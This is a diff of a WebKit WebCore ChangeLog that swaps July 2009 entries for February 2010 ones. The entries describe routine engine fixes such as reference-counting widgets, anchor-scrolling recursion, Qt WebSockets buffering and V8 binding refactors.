-        (WebCore::RenderLayer::updateLayerListsIfNeeded):
-        (WebCore::RenderLayer::updateCompositingAndLayerListsIfNeeded):
-        * rendering/RenderLayer.h:
-
-2009-07-10  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Darin Adler.
-
-        Need to remove UsesManualToJSImplementation() in favor of CustomToJS.
-        https://bugs.webkit.org/show_bug.cgi?id=27010
-
-        Added support for CustomToJS IDL attribute to replace the hard-coded class list in UsesManualToJSImplementation().
-
-        This is just a cleanup of existing functionality, so existing LayoutTests adequately cover this patch.
-
-        * bindings/scripts/CodeGeneratorJS.pm:
-        Removed UsesManualToJSImplementation(), added support for CustomToJS attribute.
-        * css/CSSRule.idl:
-        * css/CSSValue.idl:
-        * css/StyleSheet.idl:
-        * dom/Document.idl:
-        * dom/Event.idl:
-        * dom/Node.idl:
-        * html/ImageData.idl:
-        * svg/SVGElementInstance.idl:
-        * svg/SVGPathSeg.idl:
-        Added CustomToJS attribute to all the above IDL files.
-
-2009-07-10  Dan Bernstein  <mitz@apple.com>
-
-        - fix the build by reverting the ill-advised r45711
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::scrollToAnchor):
-
-2009-07-09  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Tim Hatcher.
-
-        Updated WebCore.base.exp to add some needed functions.
-
-        * WebCore.base.exp:
-
-2009-07-10  Dan Bernstein  <mitz@apple.com>
-
-        - address a review comment from Simon Fraser which I forgot to include
-          in the last check-in
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::scrollToAnchor): Pass true to getRect() for
-        maximum transform friendliness!
-
-2009-07-10  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=27137
-          <rdar://problem/7043124> REGRESSION (r44311): Reproducible crash due
-          to infinite recursion into FrameLoader::gotoAnchor() ->
-          FrameView::layout()
-
-        Test: fast/loader/goto-anchor-infinite-layout.html
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::gotoAnchor): Moved the code to update layout,
-        find the renderer to scroll to, and scroll from here to methods on
-        FrameView, and replaced it with a call to
-        FrameView::maintainScrollPositionAtAnchor().
-        (WebCore::FrameLoader::completed): Call maintainScrollPositionAtAnchor()
-        instead of setLockedToAnchor().
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::FrameView): Removed initialization of
-        m_lockedToAnchor.
-        (WebCore::FrameView::reset): Reset m_maintainScrollPositionAnchor instead
-        of m_lockedToAnchor.
-        (WebCore::FrameView::layout): Removed the code related to scrolling to
-        the anchor from here, because scrolling can trigger events which
-        invalidate the layout, and as such, belongs with the post-layout tasks.
-        (WebCore::FrameView::maintainScrollPositionAtAnchor): Added. When called
-        with a node scrolls the view to the top of that node and maintains it
-        scrolled to the top of the node during subsequent layouts, until
-        this function is called with 0 or other things trigger scrolling.
-        (WebCore::FrameView::scrollRectIntoViewRecursively): Reset
-        m_maintainScrollPositionAnchor.
-        (WebCore::FrameView::setScrollPosition): Ditto.
-        (WebCore::FrameView::scrollToAnchor): Added. Scrolls to the top of
-        m_maintainScrollPositionAnchor, if it is set.
-        (WebCore::FrameView::performPostLayoutTasks): Call scrollToAnchor().
-        (WebCore::FrameView::setWasScrolledByUser): Reset
-        m_maintainScrollPositionAnchor.
-
-        * page/FrameView.h: Removed lockedToAnchor(), setLockedToAnchor(),
-        and m_lockedToAnchor. Added maintainScrollPositionAtAnchor() and
-        m_maintainScrollPositionAnchor.
-
-2009-07-04  Sriram Yadavalli  <sriram.yadavalli@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26439
-
-        QtWebKit fails in loading www.nytimes.com in Windows/Linux
-
-        QNetworkReplyHandler is ignoring content associated with 401 error.
-        This causes the XHR response handling to fail.
-
-        Simon: Added also ProxyAuthenticationRequiredError, to handle the same
-        case when going through proxies, as suggested by Prasanth.
-
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::finish):
-
-2009-07-10  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        Enable HTML 5 Messaging to fix message channel Qt DRT failures in
-        fast/events.
-
-        * WebCore.pro:
-
-2009-07-09  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        added InlineBox::isLeaf()
-        firstLeafChild()/lastLeafChild() not virtual and not callable on InlineBox anymore.
-        firstLeafChild()/lastLeafChild() will no longer return a node outside of the given subtree.   
-        Removed firstLeafChildAfterBox()/lastLeafChildBeforeBox()
-        Removed potentially quadratic behavior if all nodes before/after a given box are empty InlineFlowBoxes
-
-        Currently, these methods are called on RootInlineBox objects only, so above changes should not have
-        any observable effect (only the removal of the square performance behavior could apply, 
-        but the conditions for that are probably of a rather theoretical nature).
-
-        * rendering/InlineBox.cpp:
-        (WebCore::InlineBox::nextLeafChild):
-        (WebCore::InlineBox::prevLeafChild):
-        * rendering/InlineBox.h:
-        (WebCore::InlineBox::isLeaf):
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::firstLeafChild):
-        (WebCore::InlineFlowBox::lastLeafChild):
-        * rendering/InlineFlowBox.h:
-        (WebCore::InlineFlowBox::firstChild):
-        (WebCore::InlineFlowBox::lastChild):
-        (WebCore::InlineFlowBox::isLeaf):
-        * rendering/RootInlineBox.cpp:
-        (WebCore::RootInlineBox::closestLeafChildForXPos):
-
-2009-07-09  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Added InlineBox::baselinePosition() and lineHeight() methods
-        (adapted remaining code accordingly to use those methods)
-
-        No change in functionality.
-
-        * rendering/InlineBox.h:
-        (WebCore::InlineBox::baselinePosition):
-        (WebCore::InlineBox::lineHeight):
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::adjustMaxAscentAndDescent):
-        (WebCore::InlineFlowBox::computeLogicalBoxHeights):
-        (WebCore::InlineFlowBox::placeBoxesVertically):
-
-2009-07-09  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Bug 27142 - canPlayType() should return empty string for unsupported content
-        <https://bugs.webkit.org/show_bug.cgi?id=27142>
-
-        Return "" instead of "no" for unsupport media types. 
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::canPlayType):
-
-2009-07-09  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Implement the part of HTML5 spec that deals with parsing of <rp> and <rt> tags
-        in that their end tags are optional if followed by <rp>/<rt>.
-
-        Also specify a new accessibility role "annotation" for <rp> and <rt>.
-
-        Affected code parts are not enclosed in #IF ENABLE(RUBY), since the parsing
-        is not affected by whether ruby is rendered properly or not (in fact, it may 
-        be more profound without ruby layouting, since the contents of <rp> are not hidden).
-
-        Test: fast/ruby/parse-rp.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::roleValue):
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::endTagRequirement):
-        (WebCore::HTMLElement::tagPriority):
-        (WebCore::inlineTagList):
-        * html/HTMLParser.cpp:
-        (WebCore::HTMLParser::rpCreateErrorCheck):
-        (WebCore::HTMLParser::rtCreateErrorCheck):
-        (WebCore::HTMLParser::getNode):
-        * html/HTMLParser.h:
-        * html/HTMLTagNames.in:
-
-2009-07-09  Dmitry Titov  <dimich@chromium.org>
-
-        Not reviewed, fix for previous commit.
-
-        The change http://trac.webkit.org/changeset/45695 did not correctly
-        enabled GTL and QT build flags. This caused layout tests failure.
-        This is speculative fix for those failures.
-
-        * GNUmakefile.am: added ENABLE_CHANNEL_MESSAGING flag.
-        * WebCore.pro: ditto.
-        * page/DOMWindow.idl: touched to cause recompile.
-        * workers/WorkerContext.idl: ditto.
-
-2009-07-09  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Alexey Proskuryakov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26903
-
-        Turned on CHANNEL_MESSAGING by default because the MessageChannel API
-        is now implemented for Web Workers and is reasonably stable.
-
-        Tests: fast/events/message-channel-gc-2.html
-               fast/events/message-channel-gc-3.html
-               fast/events/message-channel-gc-4.html
-               fast/events/message-channel-gc.html
-               fast/events/message-channel-listener-circular-ownership.html
-               fast/events/message-port-clone.html
-               fast/events/message-port-constructor-for-deleted-document.html
-               fast/events/message-port-deleted-document.html
-               fast/events/message-port-deleted-frame.html
-               fast/events/message-port-inactive-document.html
-               fast/events/message-port-no-wrapper.html
-               fast/events/message-port.html
-               fast/workers/worker-cloneport.html
-               fast/workers/worker-messageport-gc.html
-               fast/workers/worker-messageport.html
-
-        * Configurations/FeatureDefines.xcconfig: Turned on ENABLE_CHANNEL_MESSAGING.
-        * WebCore/WebCore.vcproj/WebCoreCommon.vsprops: ditto.
-        * WebCore/WebCore.vcproj/build-generated-files.sh: ditto.
-        * WebCore/page/DOMWindow.idl: touch the file to cause re-generation of headers.
-        * WebCore/workers/WorkerContext.idl: ditto.
-
-
-2009-07-09  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Full page zoom breaks remaining and elapsed time display in the <video> controller.
-        https://bugs.webkit.org/show_bug.cgi?id=27123
-
-        We are changing the size of the time remaining and time elapsed field, to
-        automatically hide them, when the controller is too short.
-
-        Because we toggle the size between 0 and the previous value of the
-        controller, we miss any width change that may occur during full page zoom,
-        and we fail to restore a correct width.
-
-        This change fixes that problem by using a cloned style on which we
-        set the width to 0, and restoring the previous style when going back to
-        the normal width.
-
-        We take care about properly using the cloned style or the pseudo style,
-        by overriding styleForElement().
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlElement::styleForElement):
-        (WebCore::MediaControlElement::attach):
-        (WebCore::MediaControlElement::updateStyle):
-        (WebCore::MediaControlInputElement::styleForElement):
-        (WebCore::MediaControlInputElement::attach):
-        (WebCore::MediaControlInputElement::updateStyle):
-        (WebCore::MediaControlTimeDisplayElement::MediaControlTimeDisplayElement):
-        (WebCore::MediaControlTimeDisplayElement::styleForElement):
-        (WebCore::MediaControlTimeDisplayElement::setVisible):
-        * rendering/MediaControlElements.h:
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::shouldShowTimeDisplayControls): Make sure
-        we take in account the zoom level when deciding if we should hide the 
-        ellapsed and remaining time.
-
-2009-07-09  Michael Nordman  <michaeln@google.com>
-
-        Reviewed by Darin Adler.
-
-        Fix chromium build bustage due to Widget being a RefCounted class.
-        https://bugs.webkit.org/show_bug.cgi?id=27139
-
-        * platform/chromium/PopupMenuChromium.cpp:
-        * platform/chromium/PopupMenuChromium.h:
-
-2009-07-09  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 27130 - Need to implement ARIA role="toolbar"
-        https://bugs.webkit.org/show_bug.cgi?id=27130
-
-        Test: platform/mac/accessibility/aria-toolbar.html
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::RoleEntry::):
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper roleDescription]):
-
-2009-07-09  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        [Chromium] Upstream WebCore.gypi, the project file for Chromium build.
-        https://bugs.webkit.org/show_bug.cgi?id=27135
-
-        * WebCore.gypi: Added.
-
-2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        A more robust fix for <rdar://problem/6930280> Reproducible crash at
-        USA Today photo gallery
-
-        Reviewed by Steve Falkenburg.
-
-        * plugins/win/PluginMessageThrottlerWin.cpp:
-        (WebCore::PluginMessageThrottlerWin::messageThrottleTimerFired):
-        Protect the PluginView from destruction before calling its window proc.
-
-2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        <rdar://problem/6978804> WER #16: Repro Access Violation in
-        WebCore::PluginView::bindingInstance (1310178023)
-
-        Reviewed by Darin Adler.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::bindingInstance):
-        Protect the PluginView from destruction before calling NPN_GetValue. If
-        the renderer for the PluginView was destroyed during the call, and the
-        PluginView's ref count is now 1, return null.
-
-2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Speculative fix for <rdar://problem/6991251> WER #13: Crash in
-        WebKit!WebCore::PluginView::performRequest+203 (1311461169)
-
-        Reviewed by Darin Adler.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::performRequest):
-        Protect the PluginView from destruction before performing a load.
-        Removed some trailing whitespace.
-
-2009-07-09  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Build fix.
-
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::setJavaScriptPaused):
-
-2009-07-09  Beth Dakin and Jon Honeycutt <bdakin@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Make Widget RefCounted to fix or make fixable:
-
-        <rdar://problem/7038831> REGRESSION (TOT): In Mail, a crash occurs 
-        at WebCore::Widget::afterMouseDown() after clicking To Do's close 
-        box
-        <rdar://problem/6978804> WER #16: Repro Access Violation in 
-        WebCore::PluginView::bindingInstance (1310178023)
-        -and-
-        <rdar://problem/6991251> WER #13: Crash in WebKit!
-        WebCore::PluginView::performRequest+203 (1311461169) 
-
-        * loader/EmptyClients.h:
-        (WebCore::EmptyFrameLoaderClient::createPlugin):
-        Changed to return PassRefPtr
-        (WebCore::EmptyFrameLoaderClient::createJavaAppletWidget):
-        Ditto.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadSubframe):
-        (WebCore::FrameLoader::loadPlugin):
-        Make the widget variable a RefPtr. Use .get() when passing it to
-        RenderPart::setWidget().
-        (WebCore::FrameLoader::createJavaAppletWidget):
-        Make the widget variable a RefPtr.
-
-        * loader/FrameLoader.h:
-        Changed the return type of createJavaAppletWidget().
-
-        * loader/FrameLoaderClient.h:
-        Change the return types of createPlugin() and 
-        createJavaAppletWidget().
-
-        * page/Frame.cpp:
-        (WebCore::Frame::createView):
-        No need to call .get() since setWidget() takes a RefPtr.
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::layoutIfNeededRecursive):
-        children() now returns a HashSet of RefPtrs.
-
-        * page/FrameView.h:
-        Remove inheritance from RefCounted; we pick this up from ScrollView
-        through Widget.
-
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::addChild):
-        addChild() now takes a PassRefPtr and m_children now keeps a 
-        HashSet of RefPtrs.
-
-        * platform/ScrollView.h:
-        ScrollView constructor is now protected.
-        (WebCore::ScrollView::children):
-        m_children is now a HashSet of RefPtrs.
-
-        * platform/Scrollbar.h:
-        Remove inheritance from RefCounted; we pick this up from ScrollView
-        through Widget.
-
-        * platform/Widget.h:
-        Inherit from RefCounted. Cleaned up some whitespace. Make m_widget 
-        a RefPtr.
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::create):
-        Adopt the PluginView when returning it.
-
-        * plugins/PluginView.h:
-        Changed create() to return a PassRefPtr.
-
-        * rendering/RenderApplet.cpp:
-        Receive result in a RefPtr when calling createJavaAppletWidget().
-
-        * rendering/RenderPart.cpp:
-        (WebCore::RenderPart::setWidget): 
-        setWidget() now takes a PassRefPtr. Also removed the manual ref of 
-        FrameViews. This is handled by having m_widget be a RefPtr. Removed 
-        deleteWidget().
+        (WebCore::InspectorFrontend::addConsoleMessage):
 
-        * rendering/RenderPart.h:
-        Removed override of deleteWidget().
-
-        * rendering/RenderWidget.cpp:
-        (WebCore::RenderWidget::destroy):
-        (WebCore::RenderWidget::setWidget):
-        (WebCore::RenderWidget::paint):
-        (WebCore::RenderWidget::setOverlapTestResult):
-        (WebCore::RenderWidget::updateWidgetPosition):
-        Use .get().
-        (WebCore::RenderWidget::clearWidget):
-        Don't call deleteWidget(). It was removed. 
+2010-02-03  Andras Becsi  <abecsi@webkit.org>
 
-        * rendering/RenderWidget.h:
-        Removed deleteWidget(). Made m_widget a RefPtr.
-        (WebCore::RenderWidget::widget):
-        Use .get().
+        Unreviewed build fix.
 
-2009-07-09  Chris Fleizach  <cfleizach@apple.com>
+        [Qt] Roll-out r54281 because it broke the build on the Qt Release bot.
+
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::State::State):
+        (WebCore::GraphicsLayerQtImpl::GraphicsLayerQtImpl):
+        (WebCore::GraphicsLayerQtImpl::setBaseTransform):
+        (WebCore::GraphicsLayerQtImpl::drawContents):
+        (WebCore::GraphicsLayerQtImpl::notifyChange):
+        (WebCore::GraphicsLayerQtImpl::flushChanges):
+        (WebCore::GraphicsLayerQt::setNeedsDisplayInRect):
+        (WebCore::applyTimingFunction):
+        (WebCore::webkitAnimationToQtAnimationValue):
+        (WebCore::AnimationQtBase::updateState):
+        (WebCore::AnimationQt::updateCurrentTime):
+        (WebCore::TransformAnimationQt::TransformAnimationQt):
+        (WebCore::TransformAnimationQt::~TransformAnimationQt):
+        (WebCore::TransformAnimationQt::applyFrame):
+        (WebCore::TransformAnimationQt::updateState):
+        (WebCore::OpacityAnimationQt::updateState):
+        (WebCore::GraphicsLayerQt::pauseAnimation):
+
+2010-02-02  Bryan Yeung  <bryeung@google.com>
 
         Reviewed by Darin Adler.
 
-        Bug 27129 - AX: possible assertion for a non-native image in accessibility
-        https://bugs.webkit.org/show_bug.cgi?id=27129 
-
-        It's possible for an image that is not really an image to assert, because its renderer
-        is turned into a RenderImage.
-
-        Test: accessibility/non-native-image-crash.html
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
-        (WebCore::RoleEntry::):
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper roleDescription]):
-
-2009-07-09  Simon Fraser  <simon.fraser@apple.com>
-
-        Build fix for SnowLeopard.
-        
-        Avoid using the contentsTransform methods if not on Leopard, because
-        we don't need to call them.
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::updateContentsTransform):
-        * platform/graphics/mac/WebLayer.mm:
-        (-[WebLayer setNeedsDisplayInRect:]):
-        * platform/graphics/mac/WebTiledLayer.mm:
-        (-[WebTiledLayer setNeedsDisplayInRect:]):
-
-2009-07-09  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt
-
-        Improve the appearance of text in compositing layers when -[CALayer geometryFlipped]
-        is not available.
-        <rdar://problem/6120614>
-
-        * platform/graphics/GraphicsLayer.h:
-        (WebCore::GraphicsLayer::setContentsOrientation):
-        (WebCore::GraphicsLayer::contentsOrientation):
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::GraphicsLayer):
-        Add a m_contentsOrientation member and getter/setter to control whether
-        the contents of this layer have a transform applied to them before display.
-
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        New method to return the default contents orientation.
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::flipTransform):
-        Convenience method to return a transform with a Y flip.
-
-        (WebCore::GraphicsLayerCA::GraphicsLayerCA):
-        (WebCore::GraphicsLayerCA::setSize):
-        After the size changes we have to update the contentsTransform.
-
-        (WebCore::GraphicsLayerCA::setGeometryOrientation):
-        (WebCore::GraphicsLayerCA::geometryOrientation):
-        If -setGeometryFlipped: is not available, use a children transform.
-        
-        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
-        Tiled layers have issues with flipped contentsTransform, so just use
-        top-down drawing for them. Call updateContentsTransform() to set the
-        new contents transform after swapping layers.
-        
-        (WebCore::GraphicsLayerCA::defaultContentsOrientation):
-        Use bottom-up when -geometryFlipped is not available, otherwise top-down.
-        
-        (WebCore::GraphicsLayerCA::updateContentsTransform):
-        Set the layer contents transform based on contentsOrientation().
-
-        (WebCore::GraphicsLayerCA::setContentsLayer):
-        We have to manually flip contents layers if we're not using -geometryFlipped.
-        
-        * platform/graphics/mac/WebLayer.h:
-        * platform/graphics/mac/WebLayer.mm:
-        Do early return if layerContents is nil. Flip the CTM if the layer has
-        bottom-up coordinates, so that CG sees a CTM with no flip.
-        Do the CGContextRestoreGState() after drawing the debug indicator.
-        
-        (-[WebLayer setNeedsDisplayInRect:]):
-        * platform/graphics/mac/WebTiledLayer.mm:
-        (-[WebTiledLayer setNeedsDisplayInRect:]):
-        Need to map the dirty rect through the contentsTransform.
-
-2009-07-09  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by Geoff Garen.
-
-        <rdar://problem/6921671> Visit counter shouldn't be incremented by redirects.
-
-        Can't test this functionality with layout tests.
-
-        * WebCore.base.exp:
-        * history/HistoryItem.cpp:
-        (WebCore::HistoryItem::recordVisitAtTime):
-        (WebCore::HistoryItem::visited):
-        * history/HistoryItem.h:
-        Only increase visit count if explicitly told to. Now, some visits change last access time,
-        but do not increase visit count.
-
-2009-07-09  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/7046098> MediaControllerThemeQT requires QuickTime 7.6.3
-
-        Require QuickTime 7.6.3 or higher to enable the new media controller UI.
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::mediaControllerTheme):
-
-2009-07-09  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Beth Dakin.
-
-        Remove incorrect comment.
-
-        * page/MouseEventWithHitTestResults.h:
-
-2009-07-09  Mads Ager  <ager@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Update the V8 bindings codegenerator to use the RGBColor::create
-        method to handle refcounts for RGBColor objects correctly.
-        
-       * bindings/scripts/CodeGeneratorV8.pm: Use RGBColor::create to create RGBColor objects.
-
-2009-07-09  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        Crash in RenderMedia::styleDidChange.
-        <rdar://problem/7044313> CrashTracer: quicklook crashed generating thumbnail for page with 
-        media element (RenderMedia::styleDidChange 115)
-
-        Speculative fix for crash in styleDidChange. Null check controller elements before tell
-        them to update style.
-
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::styleDidChange):
-
-2009-07-09  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Move V8DOMWrapper to its own file
-        https://bugs.webkit.org/show_bug.cgi?id=27121
-
-        * bindings/v8/V8DOMWrapper.cpp: Added.
-        (WebCore::GetToStringName):
-        (WebCore::ConstructorToString):
-        (WebCore::V8DOMWrapper::convertSVGElementInstanceToV8Object):
-        (WebCore::V8DOMWrapper::convertSVGObjectWithContextToV8Object):
-        (WebCore::V8DOMWrapper::domObjectHasJSWrapper):
-        (WebCore::V8DOMWrapper::setJSWrapperForDOMObject):
-        (WebCore::V8DOMWrapper::setJSWrapperForActiveDOMObject):
-        (WebCore::V8DOMWrapper::setJSWrapperForDOMNode):
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::convertToV8Object):
-        (WebCore::V8DOMWrapper::setHiddenWindowReference):
-        (WebCore::V8DOMWrapper::domWrapperType):
-        (WebCore::V8DOMWrapper::convertToNativeObjectImpl):
-        (WebCore::V8DOMWrapper::convertToSVGPODTypeImpl):
-        (WebCore::V8DOMWrapper::lookupDOMWrapper):
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNodeHelper):
-        (WebCore::V8DOMWrapper::wrapNativeNodeFilter):
-        (WebCore::V8DOMWrapper::instantiateV8Object):
-        (WebCore::V8DOMWrapper::setDOMWrapper):
-        (WebCore::V8DOMWrapper::maybeDOMWrapper):
-        (WebCore::V8DOMWrapper::isDOMEventWrapper):
-        (WebCore::V8DOMWrapper::isWrapperOfType):
-        (WebCore::V8DOMWrapper::htmlElementType):
-        (WebCore::V8DOMWrapper::svgElementType):
-        (WebCore::V8DOMWrapper::convertEventToV8Object):
-        (WebCore::):
-        (WebCore::V8DOMWrapper::convertNodeToV8Object):
-        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
-        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
-        (WebCore::V8DOMWrapper::convertDOMImplementationToV8Object):
-        (WebCore::V8DOMWrapper::convertStyleSheetToV8Object):
-        (WebCore::V8DOMWrapper::convertCSSValueToV8Object):
-        (WebCore::V8DOMWrapper::convertCSSRuleToV8Object):
-        (WebCore::V8DOMWrapper::convertWindowToV8Object):
-        * bindings/v8/V8DOMWrapper.h: Added.
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
-        (WebCore::V8DOMWrapper::wrapCPointer):
-        (WebCore::V8DOMWrapper::extractCPointer):
-        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
-        (WebCore::V8DOMWrapper::convertToV8Object):
-        (WebCore::V8DOMWrapper::convertToNativeObject):
-        (WebCore::V8DOMWrapper::convertToNativeEvent):
-        (WebCore::V8DOMWrapper::extractCPointerImpl):
-        (WebCore::V8DOMWrapper::instantiateV8Object):
-        * bindings/v8/V8Proxy.cpp:
-        * bindings/v8/V8Proxy.h:
+        Avoid using an invalidated KURL object in baseURI.
 
-2009-07-09  David Hyatt  <hyatt@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34492
 
-        Reviewed by Adele Peterson.
-
-        Crash in setFocusedFrame.
-        <rdar://7032869> Crashing in setFocusedFrame on blogger.com.
-
-        Speculative fix for crasher in setFocusedFrame.  Make sure to ref both frames and fire
-        the events only after the local member has been updated.
+        This change fixes baseURI for Chromium (where the KURL implementation
+        does not allow invalid KURLs to carry relative paths).  This is
+        regression tested by
+        LayoutTests/svg/W3C-SVG-1.1/struct-image-07-t.svg
 
-        * page/FocusController.cpp:
-        (WebCore::FocusController::setFocusedFrame):
-
-2009-07-09  Eric Carlson  <eric.carlson@apple.com>
+        This is a re-application of this patch since it was mistakenly identified as
+        the cause of a big chromium test regression and rolled out in r54264.
 
-        Reviewed by Adele Peterson.
-
-        Possible crashes when mouse clicks not dispatched because range input destroyed while 
-        thumb is being dragged (e.g. scrub to end of movie)
-        <rdar://problem/7037494> 
-        https://bugs.webkit.org/show_bug.cgi?id=27101
-
-        Some shadow nodes "capture" all mouse events from mouseDown to mouseUp so they continue to 
-        get mouse events even when the mouse is moved outside of the node. This is done by putting
-        EventHandler into a mode where it sends all mouse events to the node regardless of the
-        actual mouse position. The mode is set on mouseDown and cleared on mouseUp but if the
-        node is deleted while in this mode, the mouseUp is never sent and EventHandler continues
-        to try to send events to the deleted node. This sometimes results in a crash, and sometimes
-        in a page that doesn't respond to click events.
-
-        Tests: fast/forms/search-delete-while-cancel-button-clicked.html
-               fast/forms/slider-delete-while-dragging-thumb.html
-               media/audio-delete-while-slider-thumb-clicked.html
-               media/audio-delete-while-step-button-clicked.html
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlSeekButtonElement::detach):
-            New, call setCapturingMouseEventsNode if capturing mouse events.
-        * rendering/MediaControlElements.h:
-            Declare detach().
+        * dom/Element.cpp:
+        (WebCore::Element::baseURI):
 
-        * rendering/RenderSlider.cpp:
-        (WebCore::SliderThumbElement::detach):
-            New, call setCapturingMouseEventsNode if capturing mouse events.
+2010-02-02  Joel Stanley  <joel@jms.id.au>
 
-        * rendering/TextControlInnerElements.cpp:
-        (WebCore::SearchFieldCancelButtonElement::detach):
-            New, call setCapturingMouseEventsNode if capturing mouse events.
-        * rendering/TextControlInnerElements.h:
-            Declare detach().
+        Reviewed by David Levin.
 
-2009-07-09  Yury Semikhatsky  <yurys@chromium.org>
+        [Chromium] Make setCaretBlinkInterval static.
+        https://bugs.webkit.org/show_bug.cgi?id=31704
 
-        Reviewed by Dimitri Glazkov.
+        This is so it can be called from the newly exposed Chromium API setter
+        method.
 
-        Enter the Frame's context before creating new objects in setContextDebugId.
+        * rendering/RenderThemeChromiumLinux.cpp:
+        * rendering/RenderThemeChromiumLinux.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=27112
+2010-02-02  Yael Aharon  <yael.aharon@nokia.com>
 
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::setContextDebugId):
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-07-09  Simon Hausmann  <hausmann@webkit.org>
+        [Qt] WebSockets : Buffer the data in WebKit instead of QtNetwork
+        https://bugs.webkit.org/show_bug.cgi?id=34425
 
-        Fix the Qt build.
+        Buffer the sent data in SocketStreamHandlePrivate instead of relying on
+        the network layer to do it. This is more robust and more consistent with how 
+        Qt's HTTP stack works.
+        Close the socket in SocketStreamHandlePrivate::close() regardless of its state.
 
-        * WebCore.pro: Add new storage impl files to the build.
+        No new tests, since no new functionality is introduced.
 
-2009-07-08  Adam Barth  <abarth@webkit.org>
+        * platform/network/qt/SocketStreamHandlePrivate.h:
+        * platform/network/qt/SocketStreamHandleQt.cpp:
+        (WebCore::SocketStreamHandlePrivate::SocketStreamHandlePrivate):
+        (WebCore::SocketStreamHandlePrivate::send):
+        (WebCore::SocketStreamHandlePrivate::close):
+        (WebCore::SocketStreamHandlePrivate::socketBytesWritten):
 
-        Rubber stamped by Eric Seidel.
+2010-02-03  Shinichiro Hamaji  <hamaji@chromium.org>
 
-        [V8] Move DOM wrapper functions in V8Proxy to V8DOMWrapper
-        https://bugs.webkit.org/show_bug.cgi?id=27107
+        Unreviewed revert of r54259 as it seems to break chromium's unit tests.
+        The tests pass with r54257 but fail with r54260.
+        As r54258 and r54260 don't touch code, I'm reverting this change.
 
-        This patch is just renaming.  Code motion will occur next.
+        [V8] Generate toV8 conversion helpers, a la JSC bindings.
